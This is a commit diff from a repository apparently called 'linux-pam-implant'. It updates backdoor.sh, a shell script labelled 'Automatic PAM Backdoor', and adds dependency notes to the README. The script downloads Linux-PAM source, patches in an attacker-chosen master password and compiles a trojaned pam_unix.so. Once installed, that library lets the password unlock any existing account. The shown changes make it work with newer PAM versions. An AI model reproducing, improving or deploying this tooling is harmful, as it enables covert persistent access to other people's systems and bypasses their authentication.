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linux-pam-implant
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Merge pull request #3 from f0rw4rd/master 

Changed source to github to support newer versions e.g. 1.3.1
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zeph 2020-09-27 20:44:14 -03:00 committed by GitHub
parent e2f0fafb7c f03e5a137d
commit 91e9b6c4cb
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2 changed files with 36 additions and 5 deletions
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11
README.md
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@ -24,3 +24,14 @@ After that, you can log-in to the system using an existing user, and the previou
Use this for educational purposes only.
I am not responsible for the damage you might cause.
## Dependencies
Tested with ubuntu 20.04:
* 1.1.8 and older: failed to compile
* 1.2.0: worked
* 1.3.0 to 1.4.0: worked
The following packages where used
```bash
apt install -y autoconf automake autopoint bison bzip2 docbook-xml docbook-xsl flex gettext libaudit-dev libcrack2-dev libdb-dev libfl-dev libselinux1-dev libtool libcrypt-dev libxml2-utils make pkg-config sed w3m xsltproc xz-utils gcc
```

30
backdoor.sh
View File

@ -11,7 +11,7 @@ echo "Automatic PAM Backdoor"
function show_help {
echo ""
echo "Example usage: $0 -v 1.3.0 -p some_s3cr3t_p455word"
echo "For a list of supported versions: http://www.linux-pam.org/library/"
echo "For a list of supported versions: https://github.com/linux-pam/linux-pam/releases"
}
while getopts ":h:?:p:v:" opt; do
@ -45,9 +45,9 @@ echo "PAM Version: $PAM_VERSION"
echo "Password: $PASSWORD"
echo ""
PAM_BASE_URL="http://www.linux-pam.org/library"
PAM_DIR="Linux-PAM-${PAM_VERSION}"
PAM_FILE="Linux-PAM-${PAM_VERSION}.tar.bz2"
PAM_BASE_URL="https://github.com/linux-pam/linux-pam/archive"
PAM_DIR="linux-pam-${PAM_VERSION}"
PAM_FILE="v${PAM_VERSION}.tar.gz"
PATCH_DIR=`which patch`
if [ $? -ne 0 ]; then
@ -55,10 +55,30 @@ if [ $? -ne 0 ]; then
exit 1
fi
wget -c "${PAM_BASE_URL}/${PAM_FILE}"
if [[ $? -ne 0 ]]; then # did not work, trying the old format
PAM_DIR="linux-pam-Linux-PAM-${PAM_VERSION}"
PAM_FILE="Linux-PAM-${PAM_VERSION}.tar.gz"
wget -c "${PAM_BASE_URL}/${PAM_FILE}"
if [[ $? -ne 0 ]]; then
# older version need a _ instead of a .
PAM_VERSION="$(echo $PAM_VERSION | tr '.' '_')"
PAM_DIR="linux-pam-Linux-PAM-${PAM_VERSION}"
PAM_FILE="Linux-PAM-${PAM_VERSION}.tar.gz"
wget -c "${PAM_BASE_URL}/${PAM_FILE}"
if [[ $? -ne 0 ]]; then
echo "Failed to download"
exit 1
fi
fi
fi
tar xjf $PAM_FILE
tar xzf $PAM_FILE
cat backdoor.patch | sed -e "s/_PASSWORD_/${PASSWORD}/g" | patch -p1 -d $PAM_DIR
cd $PAM_DIR
# newer version need autogen to generate the configure script
if [[ ! -f "./configure" ]]; then
./autogen.sh
fi
./configure
make
cp modules/pam_unix/.libs/pam_unix.so ../